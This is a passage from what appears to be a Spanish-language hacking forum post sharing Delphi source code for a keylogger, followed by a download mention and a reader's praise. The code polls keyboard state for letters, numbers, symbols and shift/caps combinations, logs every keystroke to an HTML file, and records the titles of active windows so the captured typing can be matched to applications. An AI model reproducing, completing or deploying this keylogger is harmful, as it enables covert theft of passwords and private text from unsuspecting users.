        ' / ', ' \ \ \ ', ']', '[', '~', '\/');

    begin

      // Others

      for i := Low(n_raros) to High(n_raros) do
      begin
        Result := GetAsyncKeyState(StrToInt(n_raros[i]));
        If Result = -32767 then
        begin
          savefile('logs.html', t_raros[i]);
        end;
      end;

      // Numbers

      for i := Low(n_numeros_derecha) to High(n_numeros_derecha) do
      begin
        Result := GetAsyncKeyState(StrToInt(n_numeros_derecha[i]));
        If Result = -32767 then
        begin
          savefile('logs.html', t_numeros_derecha[i]);
        end;
      end;

      for i := Low(n_numeros_izquierda) to High(n_numeros_izquierda) do
      begin
        Result := GetAsyncKeyState(StrToInt(n_numeros_izquierda[i]));
        If Result = -32767 then
        begin
          savefile('logs.html', t_numeros_izquierda[i]);
        end;
      end;

      // SHIFT

      if (GetAsyncKeyState(VK_SHIFT) <> 0) then
      begin

        for i := Low(n_shift) to High(n_shift) do
        begin
          Result := GetAsyncKeyState(StrToInt(n_shift[i]));
          If Result = -32767 then
          begin
            savefile('logs.html', t_shift[i]);
          end;
        end;

        for i := 65 to 90 do
        begin
          Result := GetAsyncKeyState(i);
          If Result = -32767 then
          Begin
            savefile('logs.html', Chr(i + 0));
          End;
        end;

      end;

      // MAYUS

      if (GetKeyState(20) = 0) then
      begin
        mayus := 32;
      end
      else
      begin
        mayus := 0;
      end;

      for i := 65 to 90 do
      begin
        Result := GetAsyncKeyState(i);
        If Result = -32767 then
        Begin
          savefile('logs.html', Chr(i + mayus));
        End;
      end;

    end;

    procedure TForm1.Timer2Timer(Sender: TObject);
    var
      ventana1: array [0 .. 255] of Char;
      nombre1: string;

    begin

      GetWindowText(GetForegroundWindow, ventana1, SizeOf(ventana1));

      nombre1 := ventana1;

      if not(nombre1 = Nombre2) then
      begin
        Nombre2 := nombre1;
        savefile('logs.html',
          '<hr style=color:#00FF00><h2><center>' + Nombre2 + '</h2></center><br>');
      end;

    end;

    //

    end.

    // The End ?


    Si lo quieren bajar lo pueden hacer de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

Excelente proyecto!!
Felicitaciones!